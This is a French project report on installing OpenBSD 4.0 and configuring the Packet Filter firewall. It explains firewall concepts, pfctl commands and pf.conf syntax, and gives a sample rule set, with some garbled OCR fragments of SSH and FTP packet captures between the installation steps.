[image: image160.emf]
Pour commencer on boot sur le cd, puis une fois le boot lancé nous appuyons sur 'i' pour lancer l'installation
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Ceci fait, nous choisissons la langue du clavier le format du terminal puis vient le partitionnement du disque dur.
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Le système demande si nous voulons utiliser la totalité du disque. Pour notre projet la machine est dédiée a la fonction de firewall par conséquent nous répondons 'yes'. Apres l'étude des commandes de partionnement, seulement 3 nous sont utiles : 

· a : ajoute une partition.

· d : supprime une partition.

· p : affiche la table de partition.

Nous commençons la création des partitions. Ici nous créons la partition 'A' qui a pour point de montage la racine du disque '/'.
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Une fois le partitionnement fait, un résumé des opérations s'affiche et le formatage commence.
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Maintenant débute la configuration du réseau. Pour cela le système demande un nom de machine : fwbsd, le nom de l’interface réseau ici pcn0, puis la configuration du système démarre.
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Ici nous pouvons remarquer qu'il n'y a qu'une carte réseau configurée en 'static'. Pour notre projet la machine possède 2 cartes réseaux l'une est configurée en statique pour notre réseau interne, la deuxième en DHCP pour le réseau externe simulant internet.

La carte réseau configurée, l'installation des paquetages peut commencer. Il faut d'abord choisir le support d'installation, nous choisissons d'utiliser le protocole FTP. Vient ensuite la sélection des paquets à installer.

[image: image6.emf]
Pour notre installation nous enlevons « game40.tgz » inutile puisque nous n'allons pas jouer. Nous n'ajoutons aucun paquetage supplémentaire, pour la fonction de firewall une installation minimale est suffisante, ceci permet aussi d'éviter l'ajout de failles de sécurité. Pour lancer le téléchargement des paquetages nous tapons 'done'.
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Encrypted response packet 1an=52
32773 > ssh [SYN] Seg=0 Le
ssh > 32773 [SYN, ACK] Seg=0 Ac)
32773 > ssh [ack] seq wi
1536 » ssh [ACK] Seq=52 Ack=52 Win-16084 Len=0
Server Protocol: SsH-1.89-0penssH 4.6
32773 > ssh [ACK] Seq=1 Ack=22 Win=5840 Len=0 TSV=670720 TSER=76387
Client protocol: SsH-2.0-OpenssH_3.B8.1pl Debian-8.sarge.6
Key Exchange Init

: Key Exchange Init
32773 [ACK] Seq=766 ACK-650 win-16871 Len-0 TSV-76390 TSER-670732

Difffe-HalTman GEX Request
Diffie-Hellnan Key Exchange Reply
Diffie-Hellman GEX Init
Diffie-Hellman GEX Reply
32773 > ssh [ACK] Seq-B18 Ack-1638 Win-8184 Len=0 TSV=670761 TSER=76390
Client: new Keys
Ssh > 32773 [ACK] Seq-1638 Ack=834 Win-16687 Len=0 TSV-76393 TSER=670761
Encrypted request packet len-48
Encrypted response packet Ten
32773 > ssh [ACK] Seq=882 Ad)

2efis z 35T LAGR SEqEess AR

8
686 Win=8184 Len=0 TSV=670785 TSER=76393





Une fois tous les paquetages récupérés, il ne reste plus qu'a configurer l'heure. La machine redémarre. Notre système est à présent complètement installé et prêt à l'emploi.
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1265 > ftp [ACK] Seq=l Ack=1 Win=513920 Len=0
Response: 220 Bienvenue sur le FTP Perso de Nico

Request: USER adminftp

£tp > 1265 [ACK] Seq=41 Ack=16 Win=5840 Len=0

Reques?

Request: SYST
Response: 215 UNIX Type: L8
Request: FEAT

Response: 211-Features:
Response: EPRT

Response: 331 Please specify the password.
T

Response: 230 Login successful.

1265 > ftp [ACK] Seq=43 Ack=139 Win=513776 Len=0

Response: EPSV
Response: MDTM
1265 > fto TACK] Sea=43 Acl

53 Win=513768 Len=0





1. Introduction
Notion de pare-feu (ou firewall) :

Un pare-feu (appelé aussi coupe-feu, garde-barrière ou firewall en anglais), est un système permettant de protéger un ordinateur ou un réseau d'ordinateurs des intrusions provenant d'un réseau tiers (notamment internet).
Un pare-feu est un système logiciel, reposant parfois sur un matériel réseau dédié,  permettant de filtrer les paquets de données échangés entre deux réseaux. Il s'agit d'une passerelle filtrante comportant au minimum les interfaces réseau suivantes : 

- une interface pour le réseau à protéger (réseau interne).


- une interface pour le réseau externe.
Il est possible de mettre un système pare-feu sur n'importe quelle machine et avec n'importe quel système pourvu que la machine soit suffisamment puissante pour traiter le trafic et que le système soit sécurisé.

Fonctionnement d'un pare-feu :

Un système pare-feu contient un ensemble de règles prédéfinies permettant :

- d'autoriser la connexion (allow).

- de bloquer la connexion (deny).
- de rejeter la demande de connexion sans avertir l'émetteur (drop).

L'ensemble de ces règles permet de mettre en oeuvre une méthode de filtrage dépendant de la politique de sécurité adoptée par l'entité. On distingue habituellement deux types de politiques de sécurité permettant :

· Refus par défaut : tout ce qui n'est pas explicitement autorisé est interdit.

· Permission par défaut : tout ce qui n'est pas explicitement interdit est autorisé.

La première méthode est sans nul doute la plus sûre, mais elle impose toutefois une définition précise et contraignante des besoins en communication. 


On distingue plusieurs niveaux de fonctionnements dans la catégorie des pare-feux :

Filtrage statique: filtrage simple de paquets (ou « stateless packet filtering »). Le pare-feu analyse les couches 3 et 4 du modèle OSI (paquets IP et segments TCP / datagrammes UDP / paquets ICMP) contenues des paquets qu'il reçoit. Les adresses IP contenues dans les paquets permettent d'identifier la machine émettrice et la machine cible, tandis que le type de paquet et le numéro de port donnent une indication sur le type de service utilisé. 

Filtrage à état : le pare-feu compare les paquets reçus à ceux qu'il s'attend recevoir.

Filtrage dynamique (ou stateful inspection) : le système de filtrage dynamique de paquets est basé sur l'inspection des couches 3 et 4 du modèle OSI, permettant d'effectuer un suivi des transactions entre le client et le serveur.

Un dispositif pare-feu de type « stateful inspection » est ainsi capable d'assurer un suivi des échanges, c'est-à-dire de tenir compte de l'état des anciens paquets pour appliquer les règles de filtrage. De cette manière, à partir du moment où une machine autorisée initie une connexion à une machine située de l'autre côté du pare-feu; l'ensemble des paquets transitant dans le cadre de cette connexion seront implicitement acceptés par le pare-feu. 

Le firewall garde en mémoire l’historique d’une connexion ou d’une session.

· appartenance d'un segment TCP à une connexion TCP établie.

· datagramme UDP en réponse, dans une fenêtre de temps, à un précédent datagramme UDP.

· message ICMP en réponse à un précédent message ICMP.

Si le filtrage dynamique est plus performant que le filtrage de paquets basique, il ne protège pas pour autant de l'exploitation des failles applicatives, liées aux vulnérabilités des applications. Or ces vulnérabilités représentent la part la plus importante des risques en termes de sécurité. 

Filtrage applicatif : le filtrage applicatif permet de filtrer les communications application par application. Le filtrage applicatif opère donc au niveau 7 (couche application) du modèle OSI, contrairement au filtrage de paquets simple (niveau 3,4). Le filtrage applicatif suppose donc une connaissance des protocoles utilisés par chaque application. 
Un firewall effectuant un filtrage applicatif est appelé généralement « passerelle applicative » (ou « proxy »), car il sert de relais entre deux réseaux en s'interposant et en effectuant une validation fine du contenu des paquets échangés. 

Le proxy représente donc un intermédiaire entre les machines du réseau interne et le réseau externe, subissant les attaques à leur place. 

Le filtrage applicatif permet la destruction des en-têtes précédant le message applicatif, ce qui permet de fournir un niveau de sécurité supplémentaire. 
Limites d'un pare-feu :
Un système pare-feu n'offre pas une sécurité absolue. 

Ils n'offrent une protection que dans la mesure où l'ensemble des communications vers l'extérieur passe systématiquement par leur intermédiaire et qu'ils sont correctement configurés.

Les accès au réseau extérieur par contournement du firewall sont autant de failles de sécurité. 

L'introduction de supports de stockage provenant de l'extérieur sur des machines internes au réseau ou bien d'ordinateurs portables peut porter fortement préjudice à la politique de sécurité globale. 

Afin de garantir un niveau de protection maximal, il est nécessaire d'administrer le pare-feu et notamment de surveiller son journal d'activité afin d'être en mesure de détecter les tentatives d'intrusion et les anomalies. 

La mise en place d'un firewall doit donc se faire en accord avec une véritable politique de sécurité. 

OpenBSD 4.0 intègre Packet Filter nativement. Packet Filter est un pare-feu capable de travailler aussi bien en filtrage statique qu'en filtrage dynamique.

2. Présentation de Packet Filter (PF)

Packet Filter (ou PF) est le pare-feu logiciel et officiel de OpenBSD, écrit à l'origine par Daniel Hartmeier. C'est un Logiciel Libre gratuit.

Il remplace IPFilter de Darren Reed depuis la version 3.0 d’OpenBSD, suite à des problèmes de licence mais aussi des refus systématiques de Reed d'incorporer des modifications de code venant de développeurs OpenBSD.

Il a été porté sur DragonflyBSD 1.2 et NetBSD 3.0 ; il est fourni en standard sur FreeBSD (version 5.3 et ultérieures).

PF permet de filtrer le trafic TCP/IP et effectuer des opérations de Traduction d'Adresses IP ("NAT"), mais il est aussi capable de normaliser, de conditionner le trafic TCP/IP, et de fournir des services de contrôle de bande passante et gestion des priorités des paquets

Un port gratuit de PF a également été réalisé pour les systèmes d'exploitation Windows 2000 et XP par la communauté Core FORCE. Ce port n'est cependant qu'un firewall personnel : il n'implémente pas les fonctions de PF permettant de faire du NAT ou d'utiliser ALTQ (mise en queue alternée).

Avantages de Packet Filter :
Le chargement de la configuration est atomique. C'est à dire que si une erreur de syntaxe ou de cohérence est trouvée dans le fichier configuration, un retour en arrière est effectué. Quasiment aucun pare-feu commercial n'implémente de solution de ce type.

Grace à la Gestion de La Bande Passante et l'intégration de ALTQ, Packet Filter offre un contrôle souple des flux et des performances réseau.

Pour des raisons de sécurité, PF ne fait pas d'inspection de service (Comme FTP, RPC) dans le noyau. En effet l'inspection de service étant complexe, tout bug pourrait permettre la prise de contrôle de la machine. Pour faire de l'inspection de service il faut installer un proxy qui lui tourne en Espace utilisateur.

Grâce à l'utilisation combinée de pfsync et CARP, PF peut utiliser de la redondance pour assurer de la haute disponibilité. 
Limites de Packet Filter :
Le fait que PF (comme IPF) ne fasse pas d'inspection de service mais impose l'utilisation de proxy est gênant quand il manque un proxy pour un protocole. Par exemple il n'y a pas de proxy pour les protocoles basés sur RPC, ni pour le protocole UPnP (Universal Plug and Play).

Comme la plupart des pare-feux libres, PF ne gère pas IPsec, les proxys, les IDS, les serveurs d'authentification et plein d'autres technologies que les pare-feux commerciaux ont l'habitude de gérer. Pour faire cela il faut utiliser d'autres modules BSD qui se configurent à part.
3.  Mise en place de Packet Filter
Activation du daemon PF :
Packet Filter faisant partie intégrante d'OpenBSD, il est fourni par défaut, et est installé en même temps que le système d'exploitation. Il est cependant nécessaire d'activer le daemon PF avant de pouvoir l'utiliser. Pour activer PF, il suffit d'ajouter la ligne suivante au fichier /etc/rc.conf :

pf=YES

Une fois la modification du fichier /etc/rc.conf effectuée, il est nécessaire de redémarrer la machine afin que les modifications soient prises en compte.

On peut également utiliser l'outil d'administration pfctl afin de lancer ou désactiver PF, mais l'inscription dans le fichier rc.conf rend cette action automatique au démarrage et à l'arrêt du système.

PF lit les règles de configuration à partir du fichier /etc/pf.conf, au démarrage de la machine. Ces règles sont chargées au démarrage par les scripts rc. /etc/pf.conf est le fichier par défaut chargé par ces scripts. C'est un fichier au format texte chargé et interprété par pfctl puis inséré dans pf.
Activation du routage :
Afin de permettre le routage des paquets à travers le firewall, la ligne suivante doit être décommentée du fichier /etc/sysctl.conf :
net.inet.ip.forwarding=1
Contrôle de PF :
Après le démarrage du système, PF peut être contrôlé grâce à pfctl, un outil permettant l'administration de PF en lignes de commandes.

Voici les principales commandes disponibles pour contrôler PF :

· pfctl -e 
Active PF
· pfctl -d 
Désactive PF

· pfctl -R
Redémarre PF

· pfctl -F all
Flush toutes les règles chargées dans PF
· pfctl -f /etc/pf.conf 
Charge les règles décrites par pf.conf dans PF.               (Si une seule erreur de syntaxe est trouvée dans le fichier, rien n'est chargé)
· pfctl -nf /etc/pf.conf
Analyse le fichier mais ne le charge pas
· pfctl -Nf /etc/pf.conf
Charge uniquement les règles NAT à partir du fichier
· pfctl -Rf /etc/pf.conf
Charge uniquement les règles de filtrage à partir du fichier
· pfctl -sn 
Affiche les règles de NAT activées

· pfctl -sr 
Affiche les règles de filtrage activées
· pfctl -ss
Affiche la table d'état actuelle
· pfctl -si
Affiche les statistiques et les compteurs de filtrage
· pfctl -sa
Affiche TOUT ce qu'on est capable d'afficher
· pfctl -t <table> -T [add/show/delete]
Manipulation des tables

Configuration de PF :
PF se configure par l'intermédiaire du fichier /etc/pf.conf.

Le fichier pf.conf se compose de sept parties : 

· Listes et Macros : Variables définies par l'utilisateur pouvant contenir des adresses IP, des noms d'interfaces, etc... 

· Tables : Une table est une structure utilisée pour regrouper un ensemble d'adresses IPv4 et/ou IPv6. Chercher une adresse IP dans une table est une opération très rapide qui consomme moins de mémoire et de temps processeur qu'une recherche dans une liste. C'est pourquoi une table est idéale pour contenir un grand nombre d'adresses IP vu que la consultation d'une table de 50 000 adresses ne prend qu'un tout petit peu plus de temps que celle d'une table de 50 adresses. Les tables peuvent être utilisées de l'une des manières suivantes : 

· adresse source et/ou destination dans les règles de filtrage, scrub, NAT et redirection. 

· adresse de traduction dans les règles NAT. 

· adresse de redirection dans les règles de redirection. 

· adresse de destination dans les options des règles de filtrage route-to, reply-to, et dup-to. 

Une table peut être créée dans pf.conf ou en utilisant pfctl.

· Options : Diverses options pour contrôler le fonctionnement de PF, introduites par la directive set.

set block-policy option
Paramètre le comportement par défaut des règles de filtrage qui ont pour effet de bloquer les paquets (mot-clé "block"). 

· drop - Le paquet est détruit sans aucune notification. 

· return - un paquet TCP RST est renvoyé pour les paquets TCP et un paquet ICMP Unreachable est renvoyé pour tous les autres. 

Il est à noter que les règles de filtrage individuelles peuvent avoir leur propre réponse. drop est l'option par défaut. 

set debug option
Permet de paramétrer le niveau de débogage de pf. 

· none - aucun message de débogage n'est affiché. 

· urgent - messages de débogage générés pour les erreurs sérieuses. 

· misc - messages de débogage générés pour des erreurs diverses (par exemple pour voir le statut du sous-système scrub et pour les échecs de création d'état). 

· loud - messages de débogage générés dans des conditions courantes (par exemple pour voir le statut de l'analyseur passif de signatures OS). 

urgent est l'option par défaut.

set fingerprints <fichier>
Permet de paramétrer le fichier à partir duquel seront chargées les signatures de systèmes d'exploitation. Utilisé avec l'analyse passive de l'empreinte des OS. La valeur par défaut est /etc/pf.os. 

set limit option valeur
Permet de paramétrer différentes limites. 

· frags - nombre maximal d'entrées dans la zone mémoire utilisée pour le réassemblage de paquets (règles scrub). La valeur par défaut est 5000. 

· src-nodes - nombre maximal des entrées dans la zone mémoire utilisée pour assurer un suivi des adresses IP sources (généré par les options sticky-address et source-track). La valeur par défaut est 10000. 

· states - nombre maximal d'entrées dans la zone mémoire utilisée pour les entrées de la table d'état (règles de filtrage qui contiennent le mot-clé keep state). La valeur par défaut est 10000. 

set loginterface interface
Paramètre l'interface pour laquelle PF devra récupérer des statistiques telles que le nombre d'octets entrants/sortant les paquets acceptés/bloqués. Les statistiques ne peuvent être récupérées que pour une interface à la fois. Il est à noter que les indicateurs match, bad-offset, etc... et les indicateurs de la table d'état sont enregistrés que loginterface soit positionnée ou pas. Pour désactiver cette option, positionnez-la à none. none est l'option par défaut. 

set optimization option
Optimise PF pour l'un de ces environnements réseau : 

· normal - convient à pratiquement tous les réseaux. 

· high-latency - réseaux à haute latence tels que les réseaux à connexion satellite. 

· agressive - les connexions expirent plus rapidement de la table d'état. Les pré-requis mémoire sont ainsi fortement réduits sur un pare-feu particulièrement chargé au risque de terminer des connexions inactives trop rapidement. 

· conservative - paramétrage extrêmement conservateur. Contrairement à agressive, ce paramétrage évite de terminer les connexions inactives ce qui se traduit par une plus grande utilisation mémoire et une utilisation du processeur un peu plus soutenue. 

· normal est l'option par défaut. 

Set skip on interface
Saute tous les traitements PF sur l'interface. Ceci peut être utile sur une interface de loopback pour laquelle le filtrage, la normalisation, la mise en queue, etc... ne sont pas nécessaires. Elle peut être utilisée plusieurs fois. Elle n'est pas activée par défaut. 

set state-policy option
Permet de paramétrer le comportement de PF vis-à-vis de la préservation de l'état des connexions. Ce comportement peut être contourné au niveau de chaque règle.

· if-bound - les états sont liés à l'interface sur lesquels ils ont été créés. Si le trafic correspond à une entrée de la table d'états mais qu'il ne traverse pas l'interface sur laquelle l'état a été enregistré, cette correspondance est rejetée. Le paquet doit alors correspondre à une règle de filtrage ou il sera tout simplement détruit/rejeté. 

· group-bound - même comportement que if-bound mis à part que les paquets sont autorisés à travers des interfaces du même groupe, par exemple toutes les interfaces ppp, etc... 

· floating - les états peuvent correspondre à des paquets sur n'importe quelle interface. Peu importe l'interface qu'il traverse, un paquet sera accepté tant qu'il correspond à une entrée dans la table d'états et qu'il transite dans le même sens qu'il le fit initialement lors de la création de l'état, peu importe l'interface qu'il traverse, il passera. 

floating est l'option par défaut. 

set timeout option value
Permet de paramétrer différents timeouts (en secondes). 

· interval - nombre de secondes entre les purges d'états expirés et des fragments de paquets. La valeur par défaut est 10. 

· frag - nombre de secondes avant qu'un fragment non assemblé n'expire. La valeur par défaut est 30. 

· src.track - nombre de secondes pendant lesquelles garder l'entrée source tracking en mémoire après que le dernier état ait expiré. La valeur par défaut est 0 (zero). 

· Scrub: Retraitement des paquets pour les normaliser et éventuellement les défragmenter. Cela permet de supprimer toute ambiguïté dans l'interprétation d'un paquet. Le réassemblage des paquets permet de protéger certains systèmes d'exploitation de quelques types d'attaques. Cette directive rejette aussi certains segments TCP contenant des combinaisons invalides de flags.

Les options de scrub sont les suivantes : 

no-df 

Supprime le bit "don't fragment" de l'en-tête du paquet IP. Quelques systèmes d'exploitation sont connus pour générer des paquets fragmentés avec le bit "don't fragment" positionné. Ceci est particulièrement vrai dans le cas de NFS. scrub va bloquer tous les paquets qui sont dans ce cas sauf si l'option no-df est spécifiée. Vu que certains systèmes d'exploitation génèrent des paquets "don't fragment" avec un champ d'identification à zéro au niveau de l'en-tête IP, il est recommandé d'utiliser no-df conjointement avec l'option random-id. 

random-id 

Remplace le champ d'identification IP des paquets avec des valeurs aléatoires pour contourner les valeurs prévisibles utilisées par certains systèmes d'exploitation. Cette option s'applique aux paquets qui ne sont pas fragmentés après le réassemblage optionnel des paquets. 

min-ttl num 

S'assure que le Time To Live (TTL) est au moins égal à la valeur donnée en argument dans les en-têtes des paquets IP. 

max-mss num 

S'assure que le Maximum Segment Size (MSS) est au plus égal à la valeur donnée en argument dans les en-têtes des paquets TCP. 

fragment reassemble 

Met dans une mémoire tampon les fragments de paquets et les réassemble en paquet complet avant de les transmettre au moteur de filtrage. Les règles de filtrage peuvent ainsi se charger de filtrer le paquet complet sans se soucier des fragments. L'inconvénient est la mémoire additionnelle nécessaire pour le tampon contenant les fragments de paquets. C'est le comportement par défaut lorsqu'aucune option fragment n'est spécifiée. C'est aussi la seule option fragment qui fonctionne avec la NAT. 

fragment crop 

Supprime les fragments dupliqués et tout chevauchement entre fragment. Contrairement à fragment reassemble, les fragments ne sont pas gardés en mémoire tampon mais sont transmis dès leur arrivée. 

fragment drop-ovl 

Assez similaire à fragment crop. Tous les paquets fragments de paquets dupliqués et se chevauchant sont supprimés ainsi que tous les fragments suivants qui correspondent à ces fragments. 

reassemble tcp 

Normalise de manière "stateful" les connexions TCP. Lorsque scrub reassemble tcp est utilisée, une direction (in/out) peut ne pas être spécifiée. Les normalisations suivantes sont effectuées : 

· Aucune extrêmité de la connexion n'est autorisée à réduire le TTL IP. Cette normalisation est appliquée pour assurer une protection contre un attaquant qui envoie un paquet de telle façon à ce que ce dernier atteigne le pare-feu, affecte les informations d'état mémorisées pour cette connexion et expire avant d'atteindre sa destination finale. Le TTL de tous les paquets est positionné à la valeur la plus haute observée pour la connexion. 

· Module les "timestamps" dans l'en-tête des paquets TCP avec un nombre aléatoire. Ceci peut empêcher un observateur de déduire le "uptime" d'un hôte ou de deviner combien d'hôtes sont derrière une passerelle NAT. 

· Gestion de La Bande Passante : Gère la bande passante et la priorité des paquets, en fonction des protocoles applicatifs utilisés. Etant donné que cette fonctionnalité ne nous sera pas utile, nous ne la détaillerons pas.

· Traduction ("Translation") : Contrôle la Traduction d'Adresses IP (NAT) et la redirection de paquets. 

Le format général des règles de NAT et RDR dans pf.conf est le suivant : 

nat/rdr [pass [log]] on interface [af] from src_addr [port src_port] to \
   dst_addr [port dst_port] -> ext_addr [pool_type] [static-port] 
nat / rdr

Le mot-clé qui permet de créer une règle de NAT ou une règle de redirection de paquets. 

pass 

Permet aux paquets traduits de contourner complètement les règles de filtrage et d'être autorisés systématiquement par le pare-feu. 
log 

Lorsque pass est spécifié, les paquets peuvent être tracés à l'aide de pflogd. Normalement, uniquement le premier paquet qui correspond à la règle sera tracé. Pour tracer tous les paquets correspondants, utilisez log (all). 

Interface 

Le nom ou groupe de l'interface réseau sur laquelle les paquets seront traduits. 

af 

La famille d'adresses : inet pour IPv4 ou inet6 pour IPv6. PF est normalement capable de déterminer ce paramètre à partir des adresses source/destination. 

src_addr 

L'adresse source (interne) des paquets qui seront traduits. L'adresse source peut être spécifiée de plusieurs manières : 

· Une seule adresse IPv4 ou IPv6. 

· Un bloc réseau en notation CIDR. 

· Un nom de domaine au format FQDN qui sera résolu via DNS lorsque les règles seront chargées. Ce nom de domaine sera remplacé par toutes les adresses IP résultant de la résolution. 

· Un nom ou groupe d'interface réseau. Ce nom sera remplacé par toutes les adresses IP attribuées à cette interface au moment du chargement des règles. 

· Un nom d'interface réseau suivi d'un /netmask (/24 par exemple). Chaque adresse IP attribuée à l'interface sera combinée avec le netmask pour former un bloc réseau en notation CIDR. Le résultat remplacera la spécification initiale dans la règle. 

· Le nom ou groupe d'une interface réseau suivi par un modificateur parmi les modificateurs suivants : 
· :network - remplace le bloc réseau en notation CIDR. 

· :broadcast - remplace l'adresse de broadcast réseau.

· :peer - remplace l'adresse IP du pair dans une communication point-à-point 

De plus, le modificateur :0 peut être ajouté au nom/groupe de l'interface ou à l'un des modificateurs précités pour indiquer à PF que les alias IP ne doivent pas être inclus dans la substitution. Ces modificateurs peuvent aussi être utilisés lorsque le nom de l'interface est entre parenthèses. Exemple : fxp0:network:0 

· Une table. 

· N'importe quelle spécification précitée préfixée du modificateur ! ("not") pour indiquer la négation. 

· Un ensemble d'adresses en utilisant une liste. 

· Le mot-clé any signifiant toutes les adresses. 

src_port
Le port source dans l'en-tête du paquet (couche 4). Les ports peuvent être spécifiés de la manière suivante : 

· Un nombre entre 1 et 65535 

· Un nom de service valide figurant dans le fichier /etc/services
· Un ensemble de ports sous forme de liste

· Un intervalle : 

· != (différent de) 

· < (inférieur à) 

· > (supérieur à) 

· <= (inférieur ou égal à) 

· >= (supérieur ou égal à) 

· >< (intervalle) 

· <> (intervalle inverse) 

Les deux derniers opérateurs sont des opérateurs binaires (ils prennent deux arguments) et n'incluent pas les arguments dans l'intervalle. 

· : (intervalle avec inclusion) 

L'opérateur d'intervalle avec inclusion est aussi un opérateur binaire mais contrairement aux deux opérateurs précédents, il inclut les arguments dans l'intervalle. 

L'option port n'est pas habituellement utilisée dans les règles nat vu que le but est souvent de traduire tout le trafic peu importe le(s) port(s) utilisé(s). 

dst_addr 

L'adresse destination des paquets à traduire. L'adresse de destination est spécifiée de la même manière que l'adresse source. 

dst_port 

Le port destination dans l'en-tête du paquet (couche 4). Ce port est spécifié de la même manière que le port source. 

ext_addr 

L'adresse externe (de traduction) sur la passerelle NAT. C'est l'adresse qui figurera dans les paquets une fois ceux-ci traduits. L'adresse externe peut être spécifiée de la même manière que l'adresse source ou l'adresse de destination. 

pool_type 

Spécifie le type de pool d'adresses à utiliser pour la traduction. 

static-port 

Si cette option est utilisée, PF ne traduira pas le port source des paquets TCP et UDP. 

· Règles de Filtrage : Permet le filtrage sélectif ou le blocage des paquets lorsqu'ils traversent n'importe quelle interface. 

Les règles de filtrage énumèrent les critères auxquels doivent se conformer les paquets et spécifient les actions qui y sont associées : bloquer ou laisser passer. Ces règles sont évaluées de façon séquentielle de la première à la dernière (du haut vers le bas dans les fichiers de règles utilisés). Sauf utilisation du mot-clef quick dans l'une d'entre elles, chaque paquet est évalué à l'aide de toutes les règles avant qu'une décision finale ne soit prise. L'action (block ou pass) associée à la dernière règle dont les critères se rapportent au paquet traité est appliquée. La première règle est un tout laisser passer implicite de sorte que si aucune règle n'est applicable à un paquet, celui-ci est accepté (pass). 

Syntaxe :

L'écriture des règles obéit à la syntaxe suivante :

action [direction] [log] [quick] [on interface] [af] [proto protocol] \
   [from src_addr [port src_port]] [to dst_addr [port dst_port]] \
   [flags tcp_flags] [state] 
action 

Ce mot-clef indique le type d'action associé à tout paquet correspondant aux critères contenus dans la règle. Les deux valeurs possibles sont pass et block. pass signifie que le paquet sera transféré au noyau pour être traité. Le blocage du paquet (block) sera fonction de la politique définie par les options block-policy. L'action associée par défaut peut être modifiée en spécifiant block drop ou block return. 

direction 

Ce mot-clef spécifie le sens du trafic vu depuis l'interface réseau : celui-ci peut être entrant (in) ou sortant (out). 

log 

La présence de ce mot-clef dans une règle déclenche la journalisation des paquets correspondants à la règle grâce à l'utilitaire pflogd. Si les options keep state, modulate state, ou synproxy state sont également renseignées, seul le paquet correspondant à l'ouverture de la session est conservé. Pour conserver tous les paquets d'une session, il faut utiliser le mot-clef log (all). 

quick 

Si le mot-clef quick est utilisé dans une règle, celle-ci est considérée comme étant la dernière à prendre en compte et l'action spécifiée est prise. 
interface 

Le nom ou le groupe de l'interface sur laquelle le paquet transite. Les interfaces peuvent être ajoutées à des groupes arbitraires en utilisant la commande ifconfig. 
Plusieurs groupes sont également automatiquement créés par le noyau : 

· Le groupe egress, qui contient la/les interface(s) relative(s) à la route par défaut. 

· Les groupes par famille pour les interfaces clonables. Par exemple : ppp ou carp. 

Ceci causerait la correspondance de la règle pour tout paquet traversant respectivement une interface ppp ou carp. 

af 

Il est possible de spécifier la famille d'adresses IP à laquelle appliquer une règle à l'aide de ce mot-clef, comme pour les règles nat / rdr. 

protocol 

Ce mot-clef identifie les protocoles de couche 4 utilisés. Il peut prendre les valeurs suivantes : 

· tcp 

· udp 

· icmp 

· icmp6 

· tout protocole spécifié dans le fichier /etc/protocols 

· le numéro d'un protocole compris entre 0 et 255 

· un ensemble de protocoles passé dans une liste. 

src_addr, dst_addr 

Ces mots-clefs identifient respectivement les adresses source et destination du paquet telles que contenues dans son en-tête IP. Ces adresses peuvent être spécifiées de la même manière que pour les règles nat / rdr.

src_port, dst_port 

Ces mots-clefs identifient respectivement les ports source et destination qui apparaissent dans les en-têtes des protocoles de couche 4. Ces ports peuvent être spécifiés de la même manière que pour les règles nat / rdr. 

tcp_flags 

Spécifie les drapeaux qui doivent être activés dans l'en-tête TCP lors de l'utilisation de proto tcp. Cette valeur est spécifiée ainsi : flags check/mask. Par exemple : flags S/SA. Dans ce cas, PF teste la valeur des drapeaux S et A (SYN et ACK) pour savoir s'ils sont positionnés. Si le drapeau SYN est positionné, et uniquement ce drapeau, alors la règle est applicable. 
state 

Ce mot-clef indique dans quel état doit être le paquet pour satisfaire à une règle. 

· keep state - s'applique aux protocoles TCP, UDP et ICMP. 

· modulate state - ne s'applique qu'au protocole TCP. PF renforcera le caractère aléatoire des numéros de séquence initiaux (ISN) générés pour ces paquets. 

· synproxy state - PF agit comme mandataire pour les connexions TCP entrantes. 
Cela renforce la protection contre les attaques par inondation de paquets SYN en provenance d'adresses usurpées. Cette option active implicitement les fonctionnalités keep state et modulate state. 

A l'exception des macros et des tables, chaque section doit apparaître dans l'ordre précité dans le fichier de configuration. Cependant toutes les sections ne sont pas obligatoires. 

Les lignes vides sont ignorées et les lignes commençant par # sont considérées comme des commentaires.

Avant de définir le contenu de pf.conf, nous allons définir les besoins de l'application :

· Comme le montre le schéma du réseau, le pare-feu se situe entre le serveur WEB et le réseau externe.

· Le serveur WEB dispose de différents services tels que Apache, Apache-SLL, VSFTP, et Openvpn qui doivent être accessibles depuis le réseau externe.

· Certains services fournis, tels que ftp et ssh ne seront accessibles qu'au travers du tunnel VPN.

· Le pare-feu devra donc autoriser l'accès aux ports TCP 80 (http), TCP 443 (https) et du port UDP 6036 défini pour Openvpn.

· Le pare-feu devra effectuer la redirection des paquets autorisés vers le serveur WEB.

· Le serveur WEB répondant aux requêtes entrantes sur des ports aléatoires supérieurs à 1024, tout le trafic sortant en provenance du serveur WEB sur ces ports devra être autorisé.

· Une journalisation de tout le trafic avec le réseau externe devra être effectuée.

A partir des contraintes définies ci-dessus, nous pouvons désormais définir le contenu du fichier de configuration de PF.

Description de pf.conf :


Nous définissons tout d'abord une liste de variables, ce qui permettra une utilisation plus aisée et d'éventuelles modifications ultérieures du fichier avec plus de souplesse :

ext_if="vr0"
# Interface externe
int_if="dc0"
# Interface interne
loop="lo0"
# Interface locale
services="{ 80, 443 }"
# liste de protocoles applicatifs (http et https)
int_net="192.168.0.0/24"
# adresse du réseau interne

ext_net="172.16.0.0/24"
# adresse du réseau externe
webserv="192.168.0.200"
# adresse du serveur WEB

Nous ne définirons pas de tables d'adresses IP ici, car cela ne nous est pas nécessaire dans le cadre de ce projet. Nous allons cependant définir quelques options quant au comportement du firewall :

# Interface surveillée

set loginterface $ext_if

# Ne pas effectuer les traitements de PF sur l'interface locale et l'interface interne

set skip on $loop

set skip on $int_if

# Ne pas envoyer de message lors du blocage d'un paquet

set block-policy drop


Nous normalisons ensuite le format de tous les paquets entrants avec la ligne suivante :

scrub in all

Viennent ensuite les règles de translation d'adresses (NAT) et de redirection de paquets (RDR). La règle NAT permettra aux machines du réseau d'accéder au réseau externe, tandis que les règles de redirection de paquets permettront à des clients extérieurs au réseau local d'accéder au serveur WEB.

#Translation NAT

nat on $ext_if inet from $int_if:network to any -> ($ext_if)

#Redirections des services

rdr on $ext_if inet proto tcp from any to ($ext_if) port 80 -> $webserv

rdr on $ext_if inet proto tcp from any to ($ext_if) port 443 -> $webserv 

rdr on $ext_if inet proto udp from any to ($ext_if) port 6036 -> $webserv


Nous allons enfin pouvoir définir les règles de filtrage. Tout d'abord on définit une politique de refus par défaut dans les deux sens (entrée & sortie), en activant la journalisation, au moyen de la ligne suivante :

block log all


Nous activons ensuite la protection contre l'usurpation sur les interfaces lo0 (local loopback) et dc0 (réseau interne) :

antispoof quick for $loop inet

antispoof quick for $int_if inet


Nous autorisons enfin les services http (TCP 80) et https (TCP 443) à traverser le firewall avec la ligne suivante :

pass in log quick on $ext_if proto tcp from any port > 1024 to $webserv   \


port $services flags S/SA synproxy state

Le firewall fonctionnera à la manière d'un proxy pour ce qui est des ouvertures de sessions TCP vers les ports 80 et 443 grâce à l'option "synproxy state", comme le montre le schéma suivant :

[image: image7.emf]

